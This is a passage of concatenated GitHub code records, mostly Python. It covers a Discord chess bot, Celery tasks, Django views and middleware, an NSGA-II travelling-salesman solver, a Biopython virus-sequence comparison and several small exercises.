black!\"\n f\"**Match ID: {game.id}**\"\n ), file = file)\n\n\n# Shows every out-going and in-coming invites for the context user\nasync def invites(msg=C, **_):\n author, guild = msg.message.author, msg.message.author.guild\n\n embed = dis.Embed(title = f\"Invitations for {author.name}\", color = 0x00ff00)\n outcoming, incoming = str(), str()\n\n for invite in data[guildID][\"invites\"]:\n if invite.challenger == author and invite.guild == guild:\n challenged = invite.challenged\n outcoming += f\"You to {challenged.name} - {invite.timestamp}\\n\"; continue\n \n if invite.challenged == author and invite.guild == guild:\n challenger = invite.challenger\n incoming += f\"{challenger.name} to you - {invite.timestamp}\\n\"; continue\n\n if not outcoming: outcoming = \"No out-coming invitations for you\"\n embed.add_field(name = \":arrow_right: Out-coming invites\", value = outcoming, inline = False)\n\n if not incoming: incoming = \"No in-coming invitations for you\"\n embed.add_field(name = \":arrow_left: In-coming invites\", value = incoming, inline = False)\n\n await say(embed = embed)\n\nasync def move(ctx, initial, final):\n author = ctx.message.author\n\n game = get_game_from_user(author)\n\n if game is None:\n return \"You are not playing any match in this server\"\n\n color = None\n\n if game.white == author: color = chess.WHITE\n if game.black == author: color = chess.BLACK\n\n if color is not game.board.turn:\n return \"It is not your turn to make a move\"\n\n message = f\"{game.white.mention} VS {game.black.mention} - Actual turn: `{('BLACK', 'WHITE')[not game.board.turn]}`\"\n\n try: initial = chess.parse_square(initial)\n except ValueError: return \"The initial square is invalid. Check that its format is correct: + \"\n\n try: final = chess.parse_square(final)\n except ValueError: return \"The final square is invalid. Check that its format is correct: + \"\n\n move = chess.Move(initial, final)\n\n if move not in game.board.legal_moves: \n return \"Illegal move for the selected piece\"\n\n game.board.push(move)\n\n if game.board.is_checkmate():\n message = f\"**Match Finished** - {game.white.mention} VS {game.black.mention} - `{author.name}` won the chess match, CONGRATULATIONS!\"\n Game.games.remove(game)\n if color == chess.WHITE: update_statitics(game.white, game.black)\n if color == chess.BLACK: update_statitics(game.black, game.white)\n\n file = get_binary_board(game.board)\n await ctx.send(message, file = file)\n\n# Shows the current match chessboard disposition\nasync def ShowChessboard(ctx):\n author = ctx.message.author\n\n game = get_game_from_user(author)\n\n if game is None:\n return \"You are not playing any match in this server\"\n\n file = get_binary_board(game.board)\n\n await say(f\"{game.white.mention} VS {game.black.mention} - Actual turn: `{('BLACK', 'WHITE')[game.board.turn]}`\", file = file)\n\n# Surrender and lose the current match\nasync def surrender(ctx):\n author = ctx.message.author\n\n game = get_game_from_user(author)\n\n if game is None:\n return \"You are not playing any match in this server\"\n\n assert author in (game['white'], game['black']) \n winner = game['black'] if game['white'] == author else game['white']\n\n data[guildID][games].pop(game)\n if game.white == author: update_statitics(game.black, game.white)\n if game.black == author: update_statitics(game.white, game.black)\n\n await ctx.send(f\"{game.white.mention} VS {game.black.mention} - `{author.name}` surrended, `{winner.name}` won the match, CONGRATULATIONS!\")\n\n# Shows the statistics of a Discord user who played at least one match. If `user` is omitted, the context user stats will be shown\nasync def statistics(ctx, user = None):\n author, guild = ctx.message.author, ctx.message.author.guild\n\n member = get_member_by_name(guild, user or author.name)\n\n if member is None:\n return \"No user found in the current server\"\n\n embed = dis.Embed(color = 0x0000ff)\n\n try: \n statistics = data[guildID][\"games\"][member.id]\n \n value = (\n f\":vs: Number of matches played: {statistics['totals']}\\n\\n\"\n f\":blue_circle: Number of matches won: {statistics['wins']}\\n\"\n f\":red_circle: Number of matches lost: {statistics['loses']}\\n\\n\"\n f\":clock4: Last match date: {statistics['timestamp'].strftime('%d-%m-%Y %H:%M')}\"\n )\n\n embed.add_field(name = f\"Chess-Bot Statistics of {member['name']}#{member['discriminator']}\", value = value)\n except: \n embed.add_field(name = \"Information:\", value = \"The selected player has never played a game, his stats are therefore not available\")\n\n await ctx.send(embed = embed)\n\ndef get_game_from_user(user: dis.Member) -> dict:\n for game in data[guildID]['games']:\n if user in (game['white'], game['black']):\n return game\n\ndef get_binary_board(board) -> dis.File:\n size = 500, 500\n\n with io.BytesIO() as binary:\n board = generate(board).resize(size, Image.ANTIALIAS)\n board.save(binary, \"PNG\"); binary.seek(0)\n return dis.File(fp = binary, filename = \"board.png\")\n\ndef update_statitics(winner: dis.Member, loser: dis.Member):\n winner = data[guildID][winner.id]\n loser = data[guildID][loser.id]\n winner['wins' ] += 1\n loser ['loses'] += 1\n\n now = datetime.now()\n for i in (winner, loser):\n i['totals'] += 1\n i['timestamp'] = now","repo_name":"Brian-ED/Fire-Owl-bot","sub_path":"code/imports/chessCmds.py","file_name":"chessCmds.py","file_ext":"py","file_size_in_byte":10933,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"24834654600","text":"from datetime import datetime\n\nfrom .celery import celery_app\n\n\ndef say_hi(name: str) -> None:\n print(f\"Hi, {name}!\")\n\n\ndef talking_clock() -> datetime:\n return datetime.now()\n\n\ndef failing_task() -> None:\n raise RuntimeError\n\n\ndef send_report(email: str) -> None:\n print(f\"Sending report to {email}\")\n\n\ncelery_app.task(say_hi, name=\"tasks.say_hi\", ignore_result=True)\n\ncelery_app.task(talking_clock, name=\"tasks.talking_clock\", ignore_result=False)\n\ncelery_app.task(\n failing_task,\n name=\"tasks.failing_task\",\n ignore_result=True,\n autoretry_for=(RuntimeError,),\n max_retries=5,\n retry_backoff=True,\n retry_jitter=True,\n)\n\ncelery_app.task(send_report, name=\"tasks.send_report\", ignore_result=True)\n","repo_name":"rclement/talks","sub_path":"talk-python-celery/example/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"41259288954","text":"# -*- coding: utf-8 -*-\n\n\ndef main():\n import sys\n\n input = sys.stdin.readline\n\n n = int(input())\n s = input().rstrip()\n ans = 0\n\n for si in s:\n if si == \"o\":\n ans += 1\n else:\n ans += 2\n\n print(ans)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"KATO-Hiro/AtCoder","sub_path":"Others/joi/joi2024yo1b/c/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"33586908537","text":"import isodate\n\n\ndef parse_datetime(value, raise_error=None):\n \"\"\"Parse a datetime from a ISO 8601 string\"\"\"\n try:\n if 'T' not in value:\n value += \"T00:00:00\"\n value = isodate.parse_datetime(value)\n # we store naive UTC in the database.\n if value.tzinfo is not None:\n value -= value.utcoffset()\n value = value.replace(tzinfo=None)\n return value\n except isodate.ISO8601Error as e:\n if raise_error:\n raise e\n return None\n","repo_name":"assembl/assembl","sub_path":"assembl/lib/parsedatetime.py","file_name":"parsedatetime.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","stars":99,"dataset":"github-code","pt":"62"} +{"seq_id":"13259159579","text":"import numpy\nimport random\nimport sys\n\nfrom nsga2 import Nsga2\n\nclass Mtsp(object):\n @staticmethod\n def crossover_sequence_ox(parent_sequence_a, parent_sequence_b):\n sequence_length = len(parent_sequence_a)\n child_sequence_a = [None] * sequence_length\n child_sequence_b = [None] * sequence_length\n\n first = random.randrange(sequence_length)\n second = random.randrange(sequence_length)\n\n left, right = min(first, second), max(first, second)\n\n for m in range(left, right + 1):\n child_sequence_a[m] = parent_sequence_a[m]\n child_sequence_b[m] = parent_sequence_b[m]\n\n m = (right + 1) % sequence_length\n n_a = m\n n_b = m\n\n while m != left:\n while parent_sequence_a[n_a] in child_sequence_b:\n n_a = (n_a + 1) % sequence_length\n\n while parent_sequence_b[n_b] in child_sequence_a:\n n_b = (n_b + 1) % sequence_length\n\n child_sequence_b[m] = parent_sequence_a[n_a]\n child_sequence_a[m] = parent_sequence_b[n_b]\n\n m = (m + 1) % sequence_length\n\n return child_sequence_a, child_sequence_b\n\n @staticmethod\n def mutate_sequence(sequence):\n length = len(sequence)\n a = random.randrange(length)\n b = random.randrange(length)\n sequence[a], sequence[b] = sequence[b], sequence[a]\n\n @staticmethod\n def read_matrix_file(filename):\n with open(filename) as matrix_file:\n num_cities = len(matrix_file.readline().split(',')) - 1\n values = numpy.zeros((num_cities, num_cities))\n\n for i in range(num_cities):\n row = list(float(value) for value in matrix_file.readline().split(',')[1:] if value.strip())\n values[i,:len(row)] = row\n values[:len(row),i] = row\n\n return values\n\n @classmethod\n def build(cls, distance_filename, cost_filename):\n return cls(Mtsp.read_matrix_file(distance_filename),\n Mtsp.read_matrix_file(cost_filename))\n\n def __init__(self, distances, costs):\n self.distances = distances\n self.costs = costs\n self.num_cities = self.distances.shape[0]\n\n def evaluate_objectives(self, sequence):\n distance = 0\n cost = 0\n\n from_city_id = sequence[0]\n for to_city_id in sequence[1:]:\n distance += self.distances[from_city_id, to_city_id]\n cost += self.costs[from_city_id, to_city_id]\n from_city_id = to_city_id\n\n distance += self.distances[from_city_id, sequence[0]]\n cost += self.costs[from_city_id, sequence[0]]\n\n return (distance, cost)\n\n def generate_sequence(self):\n sequence = list(range(self.num_cities))\n random.shuffle(sequence)\n return sequence\n\n def initialize(self, options):\n self.nsga2 = Nsga2(\n options=options,\n genotype_creator=self.generate_sequence,\n objective_evaluator=self.evaluate_objectives,\n crossover_operator=Mtsp.crossover_sequence_ox,\n mutation_operator=Mtsp.mutate_sequence)\n","repo_name":"pveierland/permve-ntnu-it3708","sub_path":"project_5/program/mtsp.py","file_name":"mtsp.py","file_ext":"py","file_size_in_byte":3181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"8025191679","text":"from django.urls import path\nfrom .views import *\nfrom rest_auth.views import ( LoginView, LogoutView)\nfrom rest_auth.registration.views import RegisterView\n\nuser_info = UserInfoViewSet.as_view({\n 'get': 'list',\n})\n\ncategory_list = CategoryViewSet.as_view({\n 'get': 'list',\n})\n\ndivision_list = DivisionViewSet.as_view({\n 'get': 'list',\n})\n\n\nurlpatterns = [\n \n # path('register', RegisterView.as_view()),\n path('register', CustomRegisterView.as_view()),\n path('login', LoginView.as_view()),\n path('logout', LogoutView.as_view()),\n\n path('password/change', ChangePasswordView.as_view()),\n\n path('user', user_info),\n path('user/change', ChangeUserInfoView.as_view()),\n\n path('user/category', category_list),\n path('user/category/change', ChangeCategoryView.as_view()),\n\n path('user/division', division_list),\n path('user/division/change', ChangeDivisionView.as_view()),\n\n]\n\n","repo_name":"spplit/spplit-backend","sub_path":"spplitAccount/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70664848519","text":"import math\n\nA = [[1,2,3],[4,5,6],[7,8,9]]\nB = [[9,9,9],[9,9,9],[9,9,9]]\nX = [[0,0,0],[0,0,0],[0,0,0]]\nAB = A+B\nfor i in range(3):\n for j in range (3):\n X[i][j] = A[i][j]+B[i][j]\n\nprint (A)\nprint (B)\nprint (AB) #Calcule A+B et l'affiche -> La liste B a été ajoutée à la suite de la liste A\nprint (X) #Addition de A et B suivant les regles du calcul matriciel\n","repo_name":"alabiunda/exosMath","sub_path":"Matrices/ex1.2.py","file_name":"ex1.2.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"32516366547","text":"# Working with Sequences using fasta files\nfrom Bio import SeqIO\nimport matplotlib.pyplot as plt\nfrom Bio.Seq import Seq\nfrom Bio import pairwise2\nfrom Bio.pairwise2 import format_alignment\nfrom Bio.SeqUtils import gc_fraction\nfrom Bio.SeqUtils.ProtParam import ProteinAnalysis\n\n\ncovid = SeqIO.read(\"covid_sequences.fasta\", \"fasta\")\nmers = SeqIO.read(\"mers_sequence.fasta\", \"fasta\")\nsars = SeqIO.read(\"sars_sequence.fasta\", \"fasta\")\nebola = SeqIO.read(\"ebola_sequence.fasta\", \"fasta\")\nhiv = SeqIO.read(\"hiv_sequence.fasta\", \"fasta\")\n\ncovid_seq = covid.seq\nmers_seq = mers.seq\nsars_seq = sars.seq\nebola_seq = ebola.seq\nhiv_seq = hiv.seq\n\n# Check the length of each sequence\n# print(\"covid_seq ::\", len(covid_seq))\n# print(\"mers_seq ::\", len(mers_seq))\n# print(\"sars_seq ::\", len(sars_seq))\n# print(\"ebola_seq ::\", len(ebola_seq))\n\n# Check the length of each sequence\nprint(\"GC content of covid_seq ::\", gc_fraction(covid_seq))\nprint(\"GC content of mers_seq ::\", gc_fraction(mers_seq))\nprint(\"GC content of sars_seq ::\", gc_fraction(sars_seq))\nprint(\"GC content of ebola_seq ::\", gc_fraction(ebola_seq))\nprint(\"GC content of hiv_seq ::\", gc_fraction(hiv_seq))\n\ndef pad_seq(seq):\n if len(seq) % 3 == 0:\n return seq\n elif len(seq) % 3 == 1:\n return seq + Seq(\"NN\")\n else:\n return seq + Seq(\"N\")\n \ncovid_proteins = []\nmers_proteins = []\nsars_proteins = []\nebola_proteins = []\nhiv_proteins = []\n\nfor i in range(3):\n covid_proteins.append(pad_seq(covid_seq[i:]).translate())\n mers_proteins.append(pad_seq(mers_seq[i:]).translate())\n sars_proteins.append(pad_seq(sars_seq[i:]).translate())\n ebola_proteins.append(pad_seq(ebola_seq[i:]).translate())\n hiv_proteins.append(pad_seq(hiv_seq[i:]).translate())\n\n# print(\"covid_protein ::\", len(covid_protein))\n# print(\"mers_protein ::\", len(mers_protein))\n# print(\"sars_protein ::\", len(sars_protein))\n# print(\"ebola_protein ::\", len(ebola_protein))\n\n# for i in range(3):\n# covid_analysed = ProteinAnalysis(str(covid_proteins[i]))\n# mers_analysed = ProteinAnalysis(str(mers_proteins[i]))\n# sars_analysed = ProteinAnalysis(str(sars_proteins[i]))\n# ebola_analysed = ProteinAnalysis(str(ebola_proteins[i]))\n# hiv_analysed = ProteinAnalysis(str(hiv_proteins[i]))\n\n# covid_freq = covid_analysed.count_amino_acids()\n# mers_freq = mers_analysed.count_amino_acids()\n# sars_freq = sars_analysed.count_amino_acids()\n# ebola_freq = ebola_analysed.count_amino_acids()\n# hiv_freq = hiv_analysed.count_amino_acids()\n\n # plt.subplot(2, 3, 1)\n # plt.bar(covid_freq.keys(), covid_freq.values())\n # plt.subplot(2, 3, 2)\n # plt.bar(mers_freq.keys(), mers_freq.values())\n # plt.subplot(2, 3, 3)\n # plt.bar(sars_freq.keys(), sars_freq.values())\n # plt.subplot(2, 3, 4)\n # plt.bar(ebola_freq.keys(), ebola_freq.values())\n # plt.subplot(2, 3, 5)\n # plt.bar(hiv_freq.keys(), hiv_freq.values())\n # plt.show()\n\ncov_n_sars = pairwise2.align.globalxx(\n covid_seq, sars_seq, one_alignment_only=True, score_only=True\n)\nprint(cov_n_sars)\nprint(cov_n_sars / len(covid_seq) * 100)\n\ncov_n_mers = pairwise2.align.globalxx(\n covid_seq, mers_seq, one_alignment_only=True, score_only=True\n)\nprint(cov_n_mers)\nprint(cov_n_mers / len(covid_seq) * 100)\n\ncov_n_ebola = pairwise2.align.globalxx(\n covid_seq, ebola_seq, one_alignment_only=True, score_only=True\n)\nprint(cov_n_ebola)\nprint(cov_n_ebola / len(covid_seq) * 100)\n\ncov_n_hiv = pairwise2.align.globalxx(\n covid_seq, hiv_seq, one_alignment_only=True, score_only=True\n)\nprint(cov_n_hiv)\nprint(cov_n_hiv / len(covid_seq) * 100)\n\n","repo_name":"trandinhnguyen/it4431_bioinformatics","sub_path":"th_compare_virus/th.py","file_name":"th.py","file_ext":"py","file_size_in_byte":3609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"35467732234","text":"import json\nimport jwt\nimport bcrypt\nimport datetime\nfrom django.views import View\nfrom django.http import JsonResponse\nfrom .util import login_decorator\nfrom wemeet.my_settings import WEMEET_SECRET\nfrom user.models import User\nfrom group.models import Group\nfrom .models import Location, Event, EventUser\nclass EventCreate(View):\n\n @login_decorator\n def post(self, request):\n\n data = json.loads(request.body)\n\n host_user_id = request.user.id\n host_user_object = User.objects.get(id = host_user_id)\n\n group_id = request.GET.get('group')\n group_object = Group.objects.get(id = group_id)\n group_object_by_user = Group.objects.get(id = group_id).host.id\n\n try:\n if request.GET.get('group') is False:\n return JsonResponse({\"message\": \"GROOUP_ID_NOT_EXIST\"}, status = 404)\n\n elif Group.objects.get(id = group_id) is False:\n return JsonResponse({\"message\": \"GROUP_NOT_EXIST\"}, status = 401)\n\n elif host_user_id != group_object_by_user:\n return JsonResponse({\"message\": \"NO_AUTH_HOST\"}, status = 401)\n\n loc = Location.objects.get(name=data[\"loc_name\"])\n event = Event.objects.create(\n title = data[\"title\"],\n mainimage = data[\"mainimage\"],\n introduction = data[\"introduction\"],\n findlocation = data[\"findlocation\"],\n start_date = data[\"start_date\"],\n end_date = data[\"end_date\"],\n limit_user = data[\"limit_user\"],\n group = group_object,\n location = loc,\n )\n EventUser.objects.create(\n user = host_user_object,\n event = event\n #host 추가해서 식별해주기\n )\n return JsonResponse({\"event_id\":event.id,\"message\":\"SUCCESS\"}, status=200)\n except Exception as e:\n return JsonResponse({\"message\": \"FALSE\"}, status = 500)\nclass AllEventListView(View):\n\n def get(self, request):\n event_all = list(Event.objects.values()) \n return JsonResponse({\"data\":event_all,\"message\":\"SUCCESS\"},status = 200)\n\nclass EventDetailView(View):\n\n def get(self, request):\n group_id = request.GET.get('group')\n group_now_id = Group.objects.get(id = group_id).host\n\n event_id = request.GET.get('event')\n event_now_id = Event.objects.filter(id = event_id)\n\n if \"Authorization\" not in request.headers:\n participant = list(EventUser.objects.filter(id = event_id).values())\n page_detail = list(Event.objects.filter(id = event_id).values())\n return JsonResponse({\"participant\":participant,\"error_code\":\"INVALID_LOGIN\"}, status=200)\n try :\n encode_token = request.headers[\"Authorization\"] \n data = jwt.decode(encode_token, WEMEET_SECRET['secret'], algorithm='HS256')\n request.user = User.objects.get(id = data[\"user_id\"])\n auth_id = request.user.id\n \n if group_now_id == auth_id :\n\n if event_now_id == group_now_id.host :\n\n participant = list(EventUser.objects.filter(id = event_id).values())\n page_detail = list(Event.objects.filter(id = event_id).values())\n return JsonResponse({\"participant\":participant,\"page_detail\":page_detail,\"who\":\"host\",\"message\":\"SUCCESS\"}, status=200)\n \n participant = list(EventUser.objects.filter(id = event_id).values())\n page_detail = list(Event.objects.filter(id = event_id).values())\n return JsonResponse({\"participant\":participant,\"page_detail\":page_detail,\"who\":\"user\",\"message\":\"SUCCESS\"}, status=200)\n\n participant = list(EventUser.objects.filter(id = event_id).values())\n page_detail = list(Event.objects.filter(id = event_id).values())\n return JsonResponse({\"participant\":participant,\"page_detail\":page_detail,\"who\":\"user\",\"message\":\"SUCCESS\"}, status=200)\n \n except jwt.DecodeError:\n participant = list(EventUser.objects.filter(id = event_id).values())\n page_detail = list(Event.objects.filter(id = event_id).values())\n return JsonResponse({\"participant\":participant,\"page_detail\":page_detail,\"error_code\" : \"INVALID_TOKEN\"}, status = 401) \n\n except User.DoesNotExist:\n participant = list(EventUser.objects.filter(id = event_id).values())\n page_detail = list(Event.objects.filter(id = event_id).values())\n return JsonResponse({\"participant\" : participant,\"page_detail\":page_detail,\"error_code\" : \"UNKNOWN_USER\"}, status=200)\n\n# class EventParticipant(View):\n# @login_decorator\n# def post(self, request):\n# data = json.loads(request.body)\n\n# user_id = request.user.id\n# user_object = User.objects.get(id = host_user_id)\n\n# group_id = request.GET.get('group')\n# group_now_id = Group.objects.get(id = group_id).host\n \n# event_id = request.GET.get('event')\n# event_now = Event.objects.get(id = event_id)\n\n# all_event_user= EventUser.objects.values()\n\n# try :\n# if data[\"participant\"] == True: \n# if data[\"user\"] != all_event_user:\n# EventUser.objects.create(\n# user = user_object\n# event = event_now\n# participant = True\n# )\n# return JsonResponse({\"message\":\"SUCEESS\"}, status = 200)\n# return JsonResponse({\"error\":\"ALREADY_PARTICIPANT\"}, status = 401)\n\n# else :\n# if data[\"participant\"] == False:\n# if data[\"user\"] == all_event_user:\n# EventUser.objects.update(participant = data[\"participant\"])\n\n# return JsonResponse({\"message\":\"SUCEESS\"}, status = 200)\n\n# return JsonResponse({\"error\":\"NOT_ENGATED\"}, status = 401)\n","repo_name":"DevRyu/weMeet-backend","sub_path":"wemeet/event/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"3193930093","text":"from model import *\nfrom constants import *\n\n# Test Data Functions\n#\n\ndef testChannel(i):\n # (i :: int) -> NDChannel\n return NDChannel(f\"Test Channel {i + 1}\", INSTRUMENTS[i % 4], False)\n\ndef generateTestChannels(n):\n # (n :: int) -> list\n o = n * 4\n return [testChannel(i) for i in range(o, o + 4)]\n\ndef testProgram(i):\n # (n = int) -> NDProgram\n return NDProg(f\"{FILE_PREFIX}/prog{i + 1}\",\n 0,\n f\"Test Program {i + 1}\",\n STYLES[i % 4],\n CATEGORIES[i % 3],\n None,\n generateTestChannels(i),\n False, False)\n\ndef generateTestPrograms(n):\n # (n :: int) -> dict\n d = {i + 1 : testProgram(i) for i in range(0, n)}\n d[0] = UNKNOWN_PLEASURES\n return d\n \ndef generateTestData(n):\n # (ch_count :: int) -> DataRoot\n pDict = generateTestPrograms(n)\n mem = list(range(1, n+1))\n caches = ['dirty'] * n\n return DataRoot(pDict, mem, caches, n)\n\n\n\n","repo_name":"tom-hoffman/norddrumcurator","sub_path":"ndTestSetup.py","file_name":"ndTestSetup.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"10077180003","text":"from collections import deque\n\nif __name__ == \"__main__\":\n N, M = map(int, input().split())\n \n res = []\n q = deque(range(1, N+1))\n while q:\n for i in range(M):\n q.append(q.popleft())\n res.append(q.pop())\n\n print('<', end='')\n print(*res, sep=', ', end='')\n print('>')","repo_name":"chacham/learn-algorithm","sub_path":"acmicpc.net/11866,1158/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74649650436","text":"from odoo import api, fields, models\n\n\nclass Employee(models.Model):\n\n _inherit = \"hr.employee\"\n\n resume_line_ids = fields.One2many('hr.resume.line', 'employee_id', string=\"Resume lines\")\n employee_skill_ids = fields.One2many('hr.employee.skill', 'employee_id', string=\"Skills\")\n\n @api.model\n def create(self, values):\n res = super().create(values)\n for employee in res:\n line_type = self.env.ref(\n 'hr_skills.resume_type_experience', raise_if_not_found=False)\n resume_lines_values = {\n 'employee_id': employee.id,\n 'name': employee.company_id.name or '',\n 'date_start': employee.create_date,\n 'description': employee.job_id.description or '',\n 'line_type_id': line_type and line_type.id,\n }\n self.env['hr.resume.line'].create(resume_lines_values)\n return res\n","repo_name":"ingadhoc/patches","sub_path":"hr_skills/models/hr_employee.py","file_name":"hr_employee.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"20024044112","text":"from django.urls import path,include\nfrom . import views\nurlpatterns=[\n path('',views.dashboard,name=\"dashboard\"),\n path('feed/',views.index,name=\"feed\"),\n path(\"accounts/\", include(\"django.contrib.auth.urls\")),\n path(\"adminpage/\",views.admin,name=\"adminpage\"),\n path('logout',views.exituser,name=\"auth_logout\")\n\n]","repo_name":"Tommoommen2000/Air-pollution-forecast","sub_path":"airpop/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"5495590929","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Mar 8 20:17:01 2018\n\n@author: rishijumani\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n\ndef fit_ML_laplace(x):\n\t\n\tN = x.shape[0]\n\tu = np.sum(x)/N\n\tb = np.sum(np.abs(x - u))/N\n\tCRB_b = b**2/N\n\tn, x_c = np.histogram(x, bins=100)\n\t\n\t# get the centers of the bins - simplify this\n\t\n\tfor i,_ in enumerate(x_c):\t\t\n\t\tif i < x_c.shape[0]-1:\n\t\t\tx_c[i] = (x_c[i] + x_c[i+1])/2\n\t\t\t\n\tx_c = x_c[:-1]\n\t\n\tn = n/np.sum(n*np.abs(x_c[1] - x_c[0]))\n\ty = 1/(2*b)*np.exp(-np.abs(x_c - u)/b)\n\tRMS = np.sqrt((y - n)*((y - n).T)/(x_c[1] - x_c[0])**2/(x_c.shape[0]))\n\t\n\t\n\tresult = {'u':u, 'b':b, 'CRB_b':CRB_b, 'RMS':RMS}\n\t\n\treturn result\n\n\t\n\t","repo_name":"rj678/DDM","sub_path":"pyDDM/fit_ML_laplace.py","file_name":"fit_ML_laplace.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70647919879","text":"from confy import env\nfrom django.core.urlresolvers import reverse\nfrom django.shortcuts import redirect\nfrom django.utils.http import urlquote_plus\n\nimport re\nimport datetime\n\nfrom django.http import HttpResponseRedirect\nfrom django.utils import timezone\n\nfrom django.conf import settings\nfrom disturbance.components.das_payments.models import ApplicationFee\nfrom reversion.middleware import RevisionMiddleware\nfrom reversion.views import _request_creates_revision\n\n\nCHECKOUT_PATH = re.compile('^/ledger/checkout/checkout')\n\nclass FirstTimeNagScreenMiddleware(object):\n def process_request(self, request):\n #print (\"FirstTimeNagScreenMiddleware: REQUEST SESSION\")\n if 'static' in request.path:\n return\n if request.user.is_authenticated() and request.method == 'GET' and 'api' not in request.path and 'admin' not in request.path:\n #print('DEBUG: {}: {} == {}, {} == {}, {} == {}'.format(request.user, request.user.first_name, (not request.user.first_name), request.user.last_name, (not request.user.last_name), request.user.dob, (not request.user.dob) ))\n if (not request.user.first_name) or (not request.user.last_name):# or (not request.user.dob):\n path_ft = reverse('first_time')\n path_logout = reverse('accounts:logout')\n if request.path not in (path_ft, path_logout):\n return redirect(reverse('first_time')+\"?next=\"+urlquote_plus(request.get_full_path()))\n\n\nclass BookingTimerMiddleware(object):\n def process_request(self, request):\n #print (\"BookingTimerMiddleware: REQUEST SESSION\")\n #print request.session['ps_booking']\n if 'das_app_invoice' in request.session:\n #print (\"BOOKING SESSION : \"+str(request.session['ps_booking']))\n try:\n application_fee = ApplicationFee.objects.get(pk=request.session['das_app_invoice'])\n except:\n # no idea what object is in self.request.session['ps_booking'], ditch it\n del request.session['das_app_invoice']\n return\n if application_fee.payment_type != 3:\n # booking in the session is not a temporary type, ditch it\n del request.session['das_app_invoice']\n if 'db_process' in request.session:\n #print (\"BOOKING SESSION : \"+str(request.session['ps_booking']))\n try:\n application_fee = ApplicationFee.objects.get(pk=request.session['db_process'])\n except:\n # no idea what object is in self.request.session['ps_booking'], ditch it\n del request.session['db_process']\n return\n if application_fee.payment_type != 3:\n # booking in the session is not a temporary type, ditch it\n del request.session['db_process']\n\n return\n\n\nclass RevisionOverrideMiddleware(RevisionMiddleware):\n\n \"\"\"\n Wraps the entire request in a revision.\n\n override venv/lib/python2.7/site-packages/reversion/middleware.py\n \"\"\"\n\n # exclude ledger payments/checkout from revision - hack to overcome basket (lagging status) issue/conflict with reversion\n def request_creates_revision(self, request):\n return _request_creates_revision(request) and 'checkout' not in request.get_full_path()\n\n\nclass DomainDetectMiddleware(object):\n def __init__(self, next_layer=None):\n \"\"\"\n We allow next_layer to be None because old-style middlewares\n won't accept any argument.\n \"\"\"\n self.get_response = next_layer\n\n def process_request(self, request):\n \"\"\"\n Handle old-style request processing here, as usual.\n Any request goes through this function\n \"\"\"\n # Do something with request\n # Probably return None\n # Or return an HttpResponse in some cases\n settings.DOMAIN_DETECTED = 'das'\n settings.SYSTEM_NAME = env('SYSTEM_NAME', 'Disturbance Approval System')\n settings.SYSTEM_NAME_SHORT = 'DAS'\n settings.BASE_EMAIL_TEXT = 'disturbance/emails/base_email.txt'\n settings.BASE_EMAIL_HTML = 'disturbance/emails/base_email.html'\n\n http_host = request.META.get('HTTP_HOST', None)\n if http_host and http_host in settings.APIARY_URL:\n settings.DOMAIN_DETECTED = 'apiary'\n settings.SYSTEM_NAME = settings.APIARY_SYSTEM_NAME\n settings.SYSTEM_NAME_SHORT = 'Apiary'\n settings.BASE_EMAIL_TEXT = 'disturbance/emails/apiary_base_email.txt'\n settings.BASE_EMAIL_HTML = 'disturbance/emails/apiary_base_email.html'\n\n return None\n\n def process_response(self, request, response):\n \"\"\"\n Handle old-style response processing here, as usual.\n \"\"\"\n # Do something with response, possibly using request.\n\n return response\n\n def __call__(self, request):\n \"\"\"\n Handle new-style middleware here.\n \"\"\"\n response = self.process_request(request)\n if response is None:\n # If process_request returned None, we must call the next middleware or\n # the view. Note that here, we are sure that self.get_response is not\n # None because this method is executed only in new-style middlewares.\n response = self.get_response(request)\n response = self.process_response(request, response)\n return response\n\n\nclass CacheControlMiddleware(object):\n def process_response(self, request, response):\n if request.path[:5] == '/api/' or request.path == '/':\n response['Cache-Control'] = 'private, no-store'\n elif request.path[:8] == '/static/':\n response['Cache-Control'] = 'public, max-age=86400'\n else:\n response['Cache-Control'] = 'private, no-store'\n return response\n\n\n","repo_name":"dbca-wa/disturbance","sub_path":"disturbance/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":5866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"35571630794","text":"#test\n\ndef test():\n word = \"54454546546544654654654654654654\\n\"\n word.replace(\"\\n\",\"\")\n 